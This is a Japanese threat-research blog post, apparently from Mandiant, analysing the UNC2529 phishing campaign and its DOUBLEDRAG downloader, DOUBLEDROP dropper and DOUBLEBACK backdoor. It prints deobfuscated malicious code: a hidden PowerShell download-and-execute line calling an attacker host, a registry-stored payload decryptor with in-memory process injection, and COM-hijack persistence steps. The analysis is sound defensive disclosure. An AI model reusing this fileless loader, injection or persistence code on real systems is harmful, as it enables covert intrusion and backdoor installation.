ブログ(脅威調査)

UNC2529Triple Double: Trifectaのフィッシング・キャンペーン

2020年12月、Mandiantは、様々な業界の多数の組織を対象とした世界規模のフィッシング・キャンペーンを観測しました。Mandiantはこの攻撃グループをUNC2529と命名して追跡しています。使用されている大規模なインフラストラクチャ、カスタマイズされたフィッシング・ルアー、専門的にコーディングされたマルウェアの高度化を考慮すると、この攻撃グループは経験もリソースも豊富であると思われます。このブログの記事では、フィッシング・キャンペーンと、DOUBLEDRAG、DOUBLEDROP、DOUBLEBACKの3つの新しいマルウェア・ファミリーの識別、それらの機能の詳細、攻撃者の手口の概要、そして我々の結論について説明します。今後のブログの記事では、バックドア通信とDOUBLEBACKサンプルの違いに焦点を当て、マルウェアの進化を強調していきます。

UNC2529フィッシングの概要

Mandiantは、2020年12月2日にフィッシング・キャンペーンの第1波が発生し、2020年12月11日から12月18日にかけて第2波が発生したことを観測しました。

Mandiantは、最初のキャンペーンの間に28の組織にフィッシングメールが送付された証拠を観察しましたが、標的は直接観察したものよりも広範囲であった可能性があります。これらのメールは、ドメインtigertigerbeads<.>comに関連する26個の固有のメールアドレスを使用して送信されており、同じメールアドレスが複数の受信者組織で使用されているケースはごくわずかでした。これらのフィッシング・メールには、hxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczsなどの悪意のあるURLへの埋め込みリンクが含まれており、被害者にファイルをダウンロードさせるように仕向けられていました。UNC2529は、この3段階プロセスの最初のプロセスをサポートするために、少なくとも24の異なるドメインを使用しました。

これらのフィッシングメールに埋め込まれたURLの構造は次のようなパターンで、文字列は機能不明のアルファベット変数でした。

http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string>
http://<fqdn>/files-upload_<string>
http://<fqdn>/files-upload-<string>
http://<fqdn>/get_file-id_<string>
http://<fqdn>/get_file-id-<string>
http://<fqdn>/zip_download_<string>
http://<fqdn>/zip_download-<string>

これらのURLからダウンロードされた第1段階のペイロードは、破損した囮のPDFドキュメントと、高度に難読化されたJavaScriptダウンローダーを含むZip圧縮ファイルで構成されていました。Mandiantは、ダウンローダーをDOUBLEDRAGとして追跡しています。興味深いことに、このPDFドキュメントは公開Webサイトから入手されたものですが、標準的なPDFビューアで読み取ることができないように一部のバイトを削除していました。被害者は、ファイルをダブル・クリックするだけでWindows Script Hostでネイティブに実行できるJavaScript(.js) ファイルの起動が試みられると推測されます。ZIP、PDF、JSファイルのファイル名のパターンは、1つのパターンを除いたすべてが"document_Ohio_client-id_8902.zip"のように、document_<state>_client-id_<4digit number>. extensionであることが確認されました。

第1波で使用されたDOUBLEDRAGダウンローダーはそれぞれ、hxxp://p-leh[.] com/update_java.datまたはhxxp://clanvisits[.]com/mini.datから、MandiantがDOUBLEDROPとして追跡する第2段階のメモリ専用ドロッパーをダウンロードしようとしました。ダウンロードされたファイルは、高度に難読化されたPowerShellスクリプトで、メモリ内部へのバックドアを起動します。Mandiantは、この第3段階のバックドアをDOUBLEBACKとして追跡しています。フィッシング・キャンペーン中に確認されたDOUBLEBACKサンプルは、hxxps://klikbets[.]net/admin/client.phpおよびhxxps://lasartoria[.]net/admin/client.phpに誘導されました。

2020年12月11日から12月18日にかけて観測された第2波に先立ち、UNC2529は米国の空調サービス企業が所有する正規のドメインを乗っ取り、DNSエントリーを変更し、そのインフラを利用して少なくとも22の組織をフィッシングしましたが、そのうちの5つの組織は第1波でも標的となっていました。正規のドメインがどのように侵害されたのかは現時点では不明です。攻撃グループは、20の新たに観察されたドメインを使用して、第2段階のペイロードをホストしました。

攻撃グループは、第2波までの間にURLパターンに若干の変更を加えています。

http://<fqdn>/<string>
http://<fqdn>/dowld_<string>
http://<fqdn>/download_<string>
http://<fqdn>/files_<string>
http://<fqdn>/id_<string>
http://<fqdn>/upld_<string>

注意すべき点として、第1波で観察されたDOUBLEDRAGダウンローダーは、Excel97-Excel2003バイナリファイル形式(BIFF8)のレガシーExcel4.0(XLM)マクロが埋め込まれたMicrosoft Excelドキュメントに置き換えられていました。このファイルが開かれてマクロが正常に実行されると、hxxps://towncentrehotels[.] com/ps1.datから第2段階のペイロードをダウンロードしようとします。DOUBLEDRAG JavaScriptファイルとBIFF8マクロの主な機能は、ハードコードされたURLからファイルをダウンロードすることです。このExcelファイルは、第1波と同様にZipファイル内でも発見されましたが、観察されたZipファイルの内1つだけが、対応する破損した囮PDFドキュメントを含んでいました。

公開されているマルウェア・リポジトリにアップロードされたDOUBLEDROPサンプルから追加のDOUBLEBACKサンプルを抽出したところ、追加のコマンド&コントロール(C2)サーバー、hxps://barrel1999[.] com/admin4/client.php、hxps://widestaticsinfo[.]com/admin4/client.php、hxps://secureinternet20[.]com/admin5/client.php、hxxps://adsinfocoast[.]com/admin5/client.phpが発見されました。これらのドメインの内3つは、観測された第2波の後に登録されたものです。

仕立てられた標的

UNC2529は、意図した被害者に合わせて送信者メールアドレスや件名を選択していたことから、標的を調査していた兆候が観察されました。例えば、UNC2529はカリフォルニア州を拠点とする小規模な電子機器製造企業の営業担当幹部を装ったユニークなユーザー名を使用しており、Mandiantはこのユーザー名をインターネット検索で簡単に特定することができました。このメールアドレスのユーザー名は、送信者ドメインTigertigerbeads<.>com、および侵害されたHVAC企業の両方に関連付けられていました。この営業担当幹部になりすましたフィッシングメールは7通確認され、医療産業、ハイテク電子機器、自動車・軍事機器メーカー、防衛請負業者を標的としており、その件名はカリフォルニア州を拠点とするその電子機器製造業者の商品に特化したものでした。

もう1つの例は、ある輸送業者が「compton ca to flowery branch ga」という件名のフィッシングメールを受け取りましたが、長距離トラックの運転手を採用している企業では、「driver」という単純な件名のフィッシングメールを受け取りました。

ある電力会社は、「easement to bore to our stairwell area」という件名のフィッシングメールを受け取りました。

すべての金融機関に対して件名を仕立てているというわけではなさそうですが、表1に示すようにほとんどの件名はユニークであるように見えます。

件名ルール

時期

re: <redacted> outdoors environment (1 out of 3)

第1波

accepted: follow up with butch & karen

第1波

re: appraisal for <redacted> - smysor rd

第2波

re: <redacted> financing

第2波

表1:金融業界の擬似件名ルールのサンプル

標的となった幾つかの保険会社では、あまり具体的ではないものの、表2のように保険業界に関連する件名が観察されました。

件名ルール

時期

fw: certificate of insurance

第1波

fw: insurance for plow

第1波

please get this information

第1波

question & number request

第1波

claim status

第2波

applications for medicare supplement & part d

第2波

表2:保険業界の擬似件名ルールのサンプル

興味深いことに、テキサス東部にオフィスを構えるある保険会社は、その地域の水道局と進行中の水道事業に関連する件名のフィッシングメールを受け取りました。この企業と他の組織や事業を関連付けるような公開情報は見つかりませんでしたが、件名はかなりカスタマイズされているようでした。

表3に示す通り、幾つかのパターンが観察されました。さらに、UNC2529は、両方の波において同じ件名(表3の1行目と5行目)を使用して、同じITサービス関連組織を標的としました。「worker」という件名を使ったフィッシングメールのほとんどは、米国の組織を標的としたものでした。米国では、「worker」は従業員を指す一般的な表現ではないため、この件名は米国英語を母国語としない人物によるものと考えられます。

件名ルール

時期

dear worker, your work # ujcb0utczl

第1波

good day worker, your job number- 8ldbsq6ikd

第1波

hello worker, your work number- u39hbutlsf

第1波

good day candidate, your vacancy # xcmxydis4s

第2波

dear worker, your work # ujcb0utczl

第2波

表3:パターン別の擬似件名ルールのサンプル

業種・地域別の標的

UNC2529のフィッシング・キャンペーンは世界規模で展開され、さまざまな業界に影響を及ぼしました(業界と地域の標的のグラフは、丸め誤差により100%を超えています) 。図1に示すように、遠隔測定による多少の偏りは認められますが、どちらの波においても米国が主要な標的となり、第1波ではEMEAとアジア、オーストラリアが標的として均等に分散されていました。


図1:UNC2529フィッシング・キャンペーン、第1波

第2波では、図2に示すように、EMEAの割合が最も増加し、米国はやや減少し、アジアとオーストラリアはほぼ同レベルで推移しました。


図2:UNC2529フィッシング・キャンペーン、第2波

Mandiantでは、この攻撃グループの目的について証拠を持っていませんが、業界や地域を超えて幅広い標的を設定していることは、金銭的な動機を抱く攻撃グループに一般的に見られる標的の設定方法と一致しています。

技術分析

概要

DOUBLEマルウェアのエコシステムは、ダウンローダー(DOUBLEDRAG)(またはマクロが埋め込まれたExcelドキュメント)、ドロッパー(DOUBLEDROP)、バックドア(DOUBLEBACK)で構成されています。前述のように、最初の感染経路は、難読化されたJavaScriptダウンローダーを含む悪意のあるペイロードをダウンロードするためのリンクを含むフィッシングメールから始まります。それが実行されると、DOUBLEDRAGはC2サーバーに到達し、メモリ専用ドロッパーをダウンロードします。DOUBLEDROPドロッパーは、DOUBLEBACKバックドアの32ビットと64ビットの両インスタンスを含むPowerShellスクリプトとして実装されています。このドロッパーは、侵害されたシステム上でバックドアの持続性を確立するための初期設定を行い、バックドアを独自のプロセス(PowerShell.exe)に取り込んで実行します。バックドアは、実行制御権を得ると、プラグインを読み込み、C2サーバーからコマンドを取得して、それらを送り出す通信ループに入ります。このエコシステム全体に関する興味深い事実の1つは、ダウンローダーだけがファイルシステムに存在するということです。残りのコンポーネントはレジストリデータベースに直列化されており、特にファイルベースのアンチウイルスエンジンによる検知がやや困難になっています。

エコシステムの詳細

DOUBLEDRAG Downloaderコンポーネント

Tダウンローダーは、高度に難読化されたJavaScriptコードとして実装されています。比較的大量のコードにもかかわらず、難読化解除後のコードは次の抜粋(図3)にまとめられます。

"C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code>

図3:難読化解除されたJavaScriptダウンローダー

<base64_encoded_ps_code>は、DOUBLEDROPドロッパーを実装したPowerShellスクリプトをダウンロードして実行します。ダウンロードされたドロッパーはファイルシステムには触れず、メモリから直接実行されることに注意してください。第1波で確察されたコードのサニタイズされたバージョンを図4に示します。

IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh[.]com/update_java.dat")

図4:DOUBLEDROPドロッパーのダウンロードと実行

DOUBLEDROPコンポーネントのドロッパー

概要

ドロッパーの構成要素は、PowerShellで記述された難読化インメモリ・ドロッパーとして実装されています。このスクリプトには32ビットと64ビットのアーキテクチャ用にコンパイルされたDOUBLEBACKバックドアの同じインスタンスである2つのペイロードが埋め込まれます。このドロッパーは暗号化されたペイロードをその復号と実行に関連する情報とともに、侵害されたシステムのレジストリ・データベースに保存することで、ファイルレスのマルウェアを効果的に実行します。

セットアップ

ドロッパーの主な目的は、選択したペイロードをローディングスクリプトとともに侵害されたシステムのレジストリデータベースに直列化し、再起動またはユーザーのログイン後にそのペイロードが読み込まれるようにすることです(後述の「持続性メカニズム」の項目を参照)。これを行うために、ドロッパーは3つのランダムな疑似GUIDを生成し、図5に示すレジストリキーと値を作成します。

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}
       * key: LocalServer
              * value: <default>
                      * data: <bootstrap_ps_code>
       * key: ProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <encoded_loader>
       * key: VersionIndependentProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <first_4_chars_of_rnd_guid_0>
                      * data: <encoded_rc4_key>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <rc4_encrypted_payload>

* HK[CU|LM]\Software\Classes\{<rnd_guid_1>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: CLSID
              * value: <default>
                      * data: <rnd_guid_0>

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: TreatAs
              * value: <default>
                      * data: <rnd_guid_0>

図5:ドロッパーによって作成されたレジストリキーと値

レジストリキーと値が作成されると、図5に示すように、ドロッパーはブートストラップとPowerShellスクリプトランチャーを動的に生成し、それらを{<rnd_guid_0>}レジストリキー配下に保存します。さらに、この時点でドロッパーはランダムなRC4キーを生成し、それをより大きなバッファー内にエンコードしてVersionIndependentProgIDキー配下に保存します。バッファ内の実際のRC4キーは、図6に示すように、以下の計算によって与えられます(キーが逆転していることに注意してください)。

<relative_offset> = buffer[32]
buffer[32 + <relative_offset> + 1] = <reversed_rc4_key>

図6:RC4キーのエンコード

最後に、ドロッパーは生成されたRC4キーを使用してペイロードを暗号化し、VersionIndependentProgIdレジストリキー配下のそれぞれの値に保存します(図5を参照)。

この時点で、システム上でのペイロードの持続性を確保するために必要なすべてのステップが完了し、ドロッパーはスクリプトランチャーを直接実行して処理を進め、バックドアは直ちに実行制御権を受け取ります。持続性メカニズム、ブートストラップ、ランチャーについては、次の項目で詳しく説明します。

持続性メカニズム

DOUBLEDROPサンプルによって実装されている持続性メカニズムは、昇格されたPowerShellプロセス内でドロッパーが起動されたかどうかによって若干異なります。

昇格されたPowerShellプロセス内でドロッパーが実行された場合、TASK_ACTION_COM_HANDLERとして指定されたアクションと、{<rnd_guid_2>}GUIDというクラスIDを持つスケジュールタスクを作成します(図5を参照)。このタスクがシステムによって実行されると、HKLM\Software\Classes\CLSIDレジストリパス配下に{<rnd_guid_2>}クラスを見つけますが、ここではTreatAsレジストリキーを介したエミュレータークラスを指しています。{<rnd_guid_0>}エミュレータークラスIDは、レジストリキーLocalServerを定義し、そのデフォルト値はタスクによって実行されます。

ドロッパーが昇格していないPowerShellプロセス内で開始された場合、シーケンスは概ね同じですが、マルウェアはタスクの代わりに、レジストリデータベースにおける定義に関連するTreatAsレジストリキーを作成することによって、既知のクラスであるMicrosoft PlaySoundService({2DEA658F-54C14227-AF9B-260AB5FC3543})またはMsCtfMonitor({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1})の内の1つを乗っ取ります。TreatAsキーのデフォルトのレジストリ値は、{<rnd_guid_0>} エミュレーター・クラスを指しており、基本的には権限昇格の場合と同じ実行シーケンスを実現しています。

ブートストラップ

ブートストラップは、難読化されたPowerShellスクリプトとして実装されており、ドロッパーによって動的に生成されます。コードの内容はエミュレーターのクラスLocalServerレジストリキー配下に保存され、特権付きPowerShellプロセスの場合は専用タスクによって実行され、PlaySoundServiceクラスまたはMsCtfMonitorクラスの場合はエミュレーターをロードしようとするオペレーティングシステムによって実行されます。

ブートストラップコードは、スクリプトランチャーの保存場所を見つけてそれをデコードし、同じPowerShellプロセス内で実行します。デコードされサニタイズされたスクリプトのバージョンを図7に示します。

$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -Path($enc.GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>')))
    -n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>';
$xor_val = <xor_val>;
iex(
    $enc.GetString($(
        for ($i = 0; $i -lt $loader.Length; $i++) {
            if ($xor_val -ge 250) {
                $xor_val = 0
            }
            $loader[$i] -bxor $xor_val;
            $xor_val += 4
        }
    ))
)

図7:難読化解除されたブートストラップコードとサニタイズされたブートストラップコード

<base64_encoded_path_to_launcher><launcher_reg_val><xor_val>の実際の値は、ドロッパーによってその場で生成されるため、侵害されたシステムによって異なることに注意してください。

ランチャーのエンコードは、各反復後にインクリメントされる単純なローリングXORとして実装されます。以下のコードの抜粋(図8)は、最初のキーが与えられた場合、ランチャーをエンコードまたはデコードするために使用できます。

def encdec(src, key):
    out = bytearray()
    for b in src:
        if key >= 250:
            key = 0
        out.append(b ^ key)
        key += 4
    return out

図8:ランチャーをデコードするアルゴリズム

ランチャーがデコードされると、ブートストラップと同じPowerShellプロセス内でiex(Invoke-Expression)コマンドを呼び出して実行されます。

ランチャー

ランチャーは、ブートストラップ・コードによって実行された後、VersionIndependentProgIDレジストリキーの下に保存されたペイロードを復号して実行する役割があります。これを行うために、ランチャーはまず<first_4_chars_of_rnd_guid_0>値で提供されたRC4キーを復号し(図5を参照)、それを使用してペイロードを復号します。ペイロードが復号されると、ランチャーはイメージをメモリに格納するための十分な仮想メモリを確保し、そこにイメージをコピーし、最後にドロッパーで指定されたエントリーポイントの周囲にスレッドを作成します。そのエントリーポイントの関数は、イメージをメモリに配置し、必要に応じて再配置してインポートを解決し、最後にペイロードのエントリーポイントを実行することが期待されます。

サニタイズされ、難読化がある程度解除されたランチャーのバージョンを図9に示します。

function DecryptPayload {
    param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;
    $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));
    $ow7 = $fn1[$en8..($en8 + 31)];
    [array]::Reverse($ow7);
    $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;
    $en8 = {
        $xk2 = 0..255;
        0..255 | % {
            $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));
            $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]
        };
        $fn1 | % {
            $sp3 = ($sp3 + 1) % (275 - 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];
            $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]
        }
    };
    $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';
    ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {
                [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))
            }
        )
    )
}

function ExecuteApi {
    param($fn7, $xf7)
    $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?', $false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.MulticastDelegate]);
    $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.CreateType()
}

function GetProcAddress {
    param($fn7)
    $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods');
    $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll'))));
    $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7))
}

$decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>';

function InjectPayload {
    param($payload, $payloadLen, $entryPoint, $access)
    $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen);
    $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);
    Start-Sleep -s (((2673 - 942) + 1271))
}

# 0x36dc = Loader Entry Point, rva
# 0x40 = PAGE_EXECUTE_READWRITE
InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40

図9:難読化が解除され、サニタイズされたスクリプトランチャー

DOUBLEBACKバックドアの構成要素

概要

観察されたDOUBLEDROPインスタンスには、32または64ビットのPE動的ライブラリとして実装された巧妙なバックドアが含まれており、MandiantはこれをDOUBLEBACKとして追跡しています。このバックドアは、最初はブートストラップ・スクリプトによって開始された同じPowerShellプロセスにマップされますが、特定の条件が満たされるとmsiexec.exeプロセスに注入されます。バックドア機能の中核部分は、新しく生成されたmsiexec.exeプロセスに注入された後に実行されるように意図的に設計されています。

他のバックドアとは対照的に、DOUBLEBACKはそのサービスをハードコードしておらず、その機能はプラグインとして実装され、ホスト固有のレジストリパス配下でレジストリデータベースに直列化されることが期待されています。そうすることにより、バックドアは標的に応じて柔軟にサービス群を実装するように設定できます。すべての共通機能がプラグインとして実装されており、バックドアの主な目的はC2サーバーと適切なプラグインの間でデータの整合性を確保する通信フレームワークを確立することです。

詳細

バックドアは、プロセス名を取得して開始し、そのプロセス名がpowershell.exeまたはmsiexec.exeのいずれかであることを確認します。それ以外のプロセス名の場合は、マルウェアは直ちに停止します。通常、システム上で最初に起動したときに、バックドアはブートストラップコードとランチャーの両方を実行する同じPowerShellプロセスに注入されます。このモードでは、マルウェアは(特定の条件に応じて)msiexecプロセスを生成し、そこに自らを注入する場合があります。PowerShellとmsiexecの枝に実装されたロジックの詳細については、以降の項目で説明します。

次に、バックドアは、侵害されたシステム上で現在実行されている唯一のDOUBLEBACKインスタンスであることを確認します。それを行うために、マルウェアはホストベースの疑似のユニークなGUIDを生成し、変異体の名称として使用します。アルゴリズムはまず、図10に示すように、システムボリュームのシリアル番号とハードコードされたソルト値(データをハッシュ化する場合などに付加されるランダムな値)に基づいて、疑似のユニークなホスト識別子を生成します。

# oberserved salt = 0x436ea76d
def gen_host_id(vol_ser_num, salt):
    salted_val = (vol_ser_num + salt) & 0xffffffff
    md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
    second_dword = struct.unpack('<i', md5.digest()[4:8])[0]
    return (salted_val + second_dword) & 0xffffffff

図10:ホストID生成アルゴリズム

次に、マルウェアは生成されたホストIDを別のアルゴリズムに渡し、図11に示すように、入力に基づいて疑似のユニークなGUIDを生成します。

# src is the host ID
def gen_guid(src):
    b = bytearray()
    xor = 0xaabbccdd
    for _ in range(4):
        b += src.to_bytes(4, byteorder='little')
        src ^= xor
        xor = (xor + xor) & 0xffffffff
    return uuid.UUID(bytes_le=bytes(b))

図11:GUID生成アルゴリズム

GUIDが生成されると、マルウェアはそれをGlobal\{<guid>} としてフォーマットし、その名称で変異体を開こうとします。変異体が既に作成されている場合、バックドアは自身の別のインスタンスが既に実行されているとみなし、自らを停止させます。それ以外の場合、バックドアは変異体を作成し、現在マッピングされている検出されたプロセスに応じて分岐します。

PowerShellプロセス内での実行

バックドア実行の初期状態は、ブートストラップコードによって作成されたPowerShellプロセスに配置されます。この状態では、バックドアは自身をmsiexec.exeの新しいインスタンスに再配置しようとします。注入が試行される前に、バックドアは実行中のプロセスを列挙し、Kaspersky Antivirus(avp.exe、avpui.exe)またはBitDefender(bdagent.exe、bdservbdagent.exe、bdservicehost.exe)エンジンを探します。この部分の機能はまだ未完成のようです。なぜなら、Kasperskyソフトウェアが検出された場合にはそれを無視しますが、侵害されたシステムでBitDefenderが実行されていることが検出された場合にはmsiexec.exeプロセスへの注入を試行しないためです。後者の場合、バックドアの主な機能は同じPowerShellプロセス内で実行され、msiexec.exeの新しいインスタンスは作成されません。

注入プロセスでは、適切なレジストリキー配下でバックドアのイメージを見つけることが含まれます。第1波で観察されたバックドア・インスタンスは、マルウェア・エコシステムが管理者としてインストールされている場合には対応していないことに注意してください。このような場合、バックドアが注入用のイメージを見つけることができません。その他の場合、マルウェアはPlaySoundServiceクラスとMsCtfMonitorクラスの既知のGUIDクラスから開始し、定義の配下にTreatAsレジストリキーを持つクラスを見つけようとします。そのキーが見つかると、そのデフォルトのレジストリ値は、RC4で暗号化されたバックドアのイメージと、前述したエンコードされたRC4キーの両方を持つレジストリキーを指します。

バックドアのイメージがメモリに読み込まれて復号されると、マルウェアはmsiexec.exeの周囲に一時停止されたプロセスを生成し、そこにイメージを注入します。バックドアのPEファイルは、自身のイメージをメモリ上に配置し、DllMainエントリーポイントを実行するために使用される単一の関数をエクスポートします。エクスポート関数は、必要なメモリを確保し、必要に応じてイメージを再配置してインポートを解決し、最後にバックドアのDllMain関数を実行します。

この時点で、バックドアは乗っ取られたmsiexec.exe内で実行され、PowerShellプロセス内のインスタンス自体が終了します。

msiexec.exeプロセスへの注入による実行

概要

DOUBLEBACKバックドアは、専用のmsiexec.exeプロセスに注入された状態でその主な機能を実行します。 (BitDefender AVがシステム上で実行されていないことが前提) 。バックドアの主な論理モジュールは、設定、プラグイン管理、通信です。以下の項目では、最初の2つについて説明し、今後のブログ記事では、通信とバックドアの進化に焦点を当てます。

設定

バックドアは、C2のURLとキー(この記事の後半で詳述)を含む埋め込み設定を使用します。設定データは、図12に示すようなフォーマットになっています。

struct tag_config_header_t {
    uint32_t xor_val_1;
    uint32_t xor_val_2;
    uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
    config_header_t header;
    uint8_t encoded_config[];
} config_t;

図12:エンコードされた設定フォーマット

encoded_configデータ長は、config_header_t構造のxor_val_1フィールドとxor_val_2フィールドのXORで提供されます。config_t.encoded_config の塊は、config_header_t.xor_val_1とのXORにより復号されます。

復号された設定データは、コンマで区切られたURLの一覧と、それに続く通信モジュールで使用されるキーで構成されます。最初の2バイトは、カンマ区切りのURLの一覧とキーの長さをそれぞれ指定しています。観察されたサンプルに含まれるURLは、図13に示すパターンに準拠します。

https://<server>/admin<n>/client.php

図13:観察されたC2のURLパターン

最初のサンプルには<n>の値はありませんでしたが、それ以降のサンプルでは<n>が4または5になっていることが観察されました。

プラグイン管理

バックドアの主な機能は、PE Windows動的ライブラリとして設計されたプラグインを介して実装されています。プラグインは、他のバックドア構成要素と同様に、ホスト固有のレジストリキー配下のレジストリ・データベースに保存されます。プラグインのフルパスは、HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}としてフォーマットされ、<plugins_home_guid>は、図11に示すGUIDアルゴリズムによって生成されてインプラントIDと呼ばれるホスト固有の値を持ちますが、これはプラグインへのパスを生成するだけでなく、バックドアのC2通信にも使用され、各プラグインの初期化中にパラメーターとして渡されます。インプラントIDは、図14に示すLinear Congruential Generator(LCG)アルゴリズムにホストIDを播殖することによって生成され、<max_range>値は0x54c5638に設定されています。LCGによって生成された値は0x989680に加算され、その結果がインプラントIDとして機能します。

def lcg(max_range):
    global seed
    if seed == 0:
        seed = get_RDTSC()
    n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff
    val = n % max_range
    seed = n
    return val

図14:バックドアで使用されるLinear Congruential Generator(LCG)

バックドアは、図15に示すようにプラグインのホームロケーション配下にあるすべてのレジストリ値を列挙し(レジストリ値の名称は重要ではありません)、各プラグインがフォーマットされていることを想定しています。

struct tag_plugin_header_t {
    uint32_t xor_val;
    uint32_t param_2; the second parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
    uint32_t pfn_cleanup;
    uint32_t param_3; the third parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
       plugin_header_t header;
       uint8_t encoded_plugin[];
} plugin_t;

図15:エンコードされたプラグインフォーマット

図15に示すように、プラグインデータは32バイト長のヘッダーで始まり、その後にエンコードされたプラグインDLLが続きます。プラグインのエンコードは、plugin_header_t.xor_valで指定された初期値を持つローリングDWORD/BYTE XORの組み合わせとして実装されています。plugin_header_t.len_1には、plugin_header_t.xor_valでデコードされるDWORDSの数が格納され、その数はそれぞれの繰り返しの後に4ずつ増加する。plugin_header_t.len_2は、plugin_header_t.xor_valの現在の値を使用した前回の操作後に、現在の位置でデコードされるバイト数を指定します。(最下位のバイトのみが取得されます) 。plugin_header_t.xor_val valueは、それぞれの繰り返しの後に1ずつ増加します。

プラグインは少なくとも2つの関数をエクスポートすることが期待されます、1つは初期化のため、もう1つは読み込みを停止する前にリソースをクリーンアップするためです。初期化ルーチンは、図16に示すように、4つのパラメータを受け取ります。(ヘッダーからの2つとバックドアによって計算された2つ)

pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory)

図16:プラグイン初期化ルーチンのプロトタイプ

現在のバックドアの実装では、最大32個のプラグインをサポートしており、各プラグインはバックドアのプロセス空間に配置され、初期化されます。

補足事項

2020年12月に観測した最初のバックドア・インスタンスは、安定して巧妙に書かれたコードでしたが、明らかに未完成でした。例えば、このマルウェアの初期のインスタンスでは、DOUBLEDROPドロッパーをディスクから安全に削除するためにスレッドが生成されますが、これはこのマルウェアの以前の変異体がファイルシステムからドロッパーのコピーを起動したことを示しています。ドロッパーは、ディスク上の現在の場所をHK[LM|CU]: \Software\Classesキー配下のデフォルトのレジストリ値に保存します。このバックドアは、ドロッパーのパスを取得する専用スレッドを生成し、ディスク上のイメージを0x00、0xFF、ランダムに生成されたバイトで上書きしてから、ドロッパーをファイルシステムから削除します。

さらに、バックドアの初期のインスタンスでは、前述のように権限昇格したPowerShellプロセスが使用された場合は処理されません。この場合、ドロッパーはHKLM群配下に作成された関連レジストリキーを使用したスケジュールタスクを使用しますが、バックドアはその状況をサポートしておらず、msiexec.exeプロセスに自身を注入するためのイメージを特定のキー配下で見つけることができません。

